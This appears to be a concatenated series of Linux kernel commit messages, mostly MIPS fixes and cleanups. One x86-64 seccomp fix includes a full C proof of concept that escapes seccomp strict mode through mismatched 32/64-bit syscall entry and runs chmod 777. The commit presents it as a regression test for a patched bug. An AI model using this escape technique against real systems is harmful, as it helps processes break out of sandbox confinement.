Due to a different size of ino_t ustat needs a compat handler, but
currently only x86 and mips provide one. Add a generic compat_sys_ustat
and switch all architectures over to it. Instead of doing various
user copy hacks compat_sys_ustat just reimplements sys_ustat as
it's trivial. This was suggested by Arnd Bergmann.
Found by Eric Sandeen when running xfstests/017 on ppc64, which causes
stack smashing warnings on RHEL/Fedora due to the too large amount of
data writen by the syscall.
Signed-off-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
This patch fixes the bug reported in
http://bugzilla.kernel.org/show_bug.cgi?id=11681.
"Lots of device drivers register a 'struct device_driver' with
the '.bus' member set to '&platform_bus_type'. This is wrong,
since the platform_bus functions expect the 'struct device_driver'
to be wrapped up in a 'struct platform_driver' which provides
some additional callbacks (like suspend_late, resume_early).
The effect may be that platform_suspend_late() uses bogus data
outside the device_driver struct as a pointer pointer to the
device driver's suspend_late() function or other hard to
reproduce failures."(Lothar Wassmann)
Signed-off-by: Ming Lei <tom.leiming@gmail.com>
Acked-by: Henrique de Moraes Holschuh <hmh@hmh.eng.br>
Acked-by: David Brownell <dbrownell@users.sourceforge.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
Commit 566f74f6b2 had a change that
incorrectly modified ebase. This backs out the lines that modified
ebase.
In addition, the ebase exception vector is now allocated with correct
alignment and the ebase register updated according to the architecture
specification.
Based on original patch by David VomLehn <dvomlehn@cisco.com>.
Signed-off-by: David VomLehn <dvomlehn@cisco.com>
Signed-off-by: Chris Dearman <chris@mips.com>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
dma_cache_wback_inv() expects virtual address, but physical was provided
due to translation via plat_dma_addr_to_phys().
If replaced with dma_addr_to_virt(), page fault oops from dma_unmap_page()
is gone on au1550 platform.
Signed-off-by: Jan Nikitenko <jan.nikitenko@gmail.com>
Acked-by: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Current VR5500 processor support lacks of some functions which are
expected to be configured/synthesized on arch initialization.
Here're some VR5500A spec notes:
* All execution hazards are handled in hardware.
* Once VR5500A stops the operation of the pipeline by WAIT instruction,
it could return from the standby mode only when either a reset, NMI
request, or all enabled interrupts is/are detected. In other words,
if interrupts are disabled by Status.IE=0, it keeps in standby mode
even when interrupts are internally asserted.
Notes on WAIT: The operation of the processor is undefined if WAIT
insn is in the branch delay slot. The operation is also undefined
if WAIT insn is executed when Status.EXL and Status.ERL are set to 1.
* VR5500A core only implements the Load prefetch.
With these changes, it boots fine.
Signed-off-by: Shinya Kuribayashi <shinya.kuribayashi@necel.com>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
This is a build fix required after "x86-64: seccomp: fix 32/64 syscall
hole" (commit 5b1017404a). MIPS doesn't
have the issue that was fixed for x86-64 by that patch.
This also doesn't solve the N32 issue which is that N32 seccomp processes
will be treated as non-compat processes thus only have access to N64
syscalls.
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Thanks to David Daney helping with debugging and testing.
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: David Daney <ddaney@caviumnetworks.com>
With a postfix decrement t reaches -1 rather than 0, so the fall-back will
not occur.
Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
Cc: mano@roarinelk.homelinux.net
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
User space can request hardware and/or software time stamping.
Reporting of the result(s) via a new control message is enabled
separately for each field in the message because some of the
fields may require additional computation and thus cause overhead.
User space can tell the different kinds of time stamps apart
and choose what suits its needs.
When a TX timestamp operation is requested, the TX skb will be cloned
and the clone will be time stamped (in hardware or software) and added
to the socket error queue of the skb, if the skb has a socket
associated with it.
The actual TX timestamp will reach userspace as a RX timestamp on the
cloned packet. If timestamping is requested and no timestamping is
done in the device driver (potentially this may use hardware
timestamping), it will be done in software after the device's
start_hard_xmit routine.
Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Architectures other than mips and x86 are not using ticket spinlocks.
Therefore, the contention on the lock is meaningless, since there is
nobody known to be waiting on it (arguably /fairly/ unfair locks).
Dummy it out to return 0 on other architectures.
Signed-off-by: Kyle McMartin <kyle@redhat.com>
Acked-by: Ralf Baechle <ralf@linux-mips.org>
Acked-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
fix the following 'make headers_check' warnings:
usr/include/asm-mips/swab.h:12: include of <linux/types.h> is preferred over <asm/types.h>
usr/include/asm-mips/swab.h:18: found __[us]{8,16,32,64} type without #include <linux/types.h>
Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
fix the following 'make headers_check' warning:
usr/include/asm-mips/sigcontext.h:57: found __[us]{8,16,32,64} type without #include <linux/types.h>
Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
In Linus' current -git the cpumask member is now a pointer.
Signed-off-by: Manuel Lauss <mano@roarinelk.homelinux.net>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
This kernel symbol provides a way for drivers to switch on alternate
function for a certain GPIO pin. Turning it off is done implicitly when
changing the GPIO direction, as that would be fixed when using the given
pin als alternate function.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Remove the {set,get}_434_reg() prototypes, as the functions have been
removed. Also move the prototypes for {get,set}_latch_u5() to the correct
place.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
As rb532_dev3_ctl_res is not used by any platform device, it can be dropped
when not used for holding the physical address of the device 3 controller.
Also a size of one byte should suffice when ioremapping the physical
address mentioned above, as only a single byte is being read from and
written to it.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
These kernel symbols are unused. Also, since dev3 init has been moved to
devices.c, set_434_reg() breaks compiling as it uses dev3.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
This code doesn't belong to gpio.c, as it's completely unrelated to
GPIO. As dev1 and dev2 init code is in devices.c, it seems to be a more
adequate place.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
The data to be written is just a byte, so use writeb instead of writel.
Also, dev3.base contains the address, not the data so referencing here
is wrong.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
This register just contains the address of the actual resource, so
initialisation has to be the same as cf_slot0_res and nand_slot0_res.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
As the korina ethernet driver uses platform_get_drvdata() to extract the
driver specific data from the platform device, driver_data has to be
used here.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Auto-detection works just fine, so use it instead of specifying the type
manually. Also define a platform device for the uart, as suggested by
David Daney.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
As the pata-rb532-cf driver calls gpio_direction_input(), the calls to
rb532_gpio_set_func() and rb532_gpio_direction_input() are not needed since
the alternate function is automatically being disabled when changing the
GPIO pin direction.
The later two calls to rb532_gpio_set_{ilevel,istat}() are implicitly being
done by the IRQ initialisation of pata-rb532-cf.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
When a driver calls gpio_set_direction_{input,output}(), it obviously
doesn't want the alternate function for that pin to be active (as the
direction would not matter in that case). This patch ensures alternate
function is disabled when the direction is being changed.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Interrupt Group 4 mapps the GPIO pins enabled as interrupt sources;
add defines to make this clear when addressing them later in code.
The mapped GPIOs support triggering on either level high or low. To
achieve this, the set_type() function calls rb532_gpio_set_ilevel() for
interrupts of the above mentioned group.
As there is no way to alter the triggering characteristics of the other
interrupts, accept level triggering on status high only. (This is just a
guess; but as the system boots fine and interrupt-driven devices (e.g.
serial console) work with no implications, it seems to be right.)
To clear a GPIO mapped IRQ, the source has to be cleared (i.e., the
interrupt status bit of the corresponding GPIO pin). This is done inside
rb532_disable_irq().
After applying these changes I could undo most of my former "fixes" to
pata-rb532-cf. Particularly all interrupt handling can be done
generically via set_irq_type() as it was before.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
The code is rather based on trial-and-error than knowledge. Verified Via
Rhine functionality in PIO as well as MMIO mode.
[Looks sane -- Ralf]
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Tested-by: Florian Fainelli <florian@openwrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
The algorithm works unconditionally. If bitval is one, the first line is
a no op and the second line sets the bit at offset position. Vice versa,
if bitval is zero, the first line clears the bit at offset position and
the second line is a no op.
Signed-off-by: Phil Sutter <n0-1@freewrt.org>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
The previous definition inadvertently omits Octeon which currently is
treated as an architecture variant separate from MIPS32 and MIPS64.
Signed-off-by: David Daney <ddaney@caviumnetworks.com>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
If a context switch occurred between the watch exception and reading the
watch registers, it would be possible for the new process to corrupt their
state. Enabling interrupts only after the watch registers are read avoids
this race.
Signed-off-by: David Daney <ddaney@caviumnetworks.com>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
This fixes the ptrace ABI for watch registers, and should allow 64bit
kernels to use the watch register support.
Signed-off-by: David Daney <ddaney@caviumnetworks.com>
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
The special IP27 DMA code selected by DMA_IP27 has been removed a while
ago turning DMA_IP27 into almost a nop. Also fixup the broken logic of
its last users memcpy.S and memcpy-inatomic.s.
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
This shaves of 1912 bytes of an IP27 defconfig kernel and avoids
unexpected overflow behaviour in atomic_sub_if_positive. Apply the same
changes to the atomic64_* functions for consistency.
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Christoph Hellwig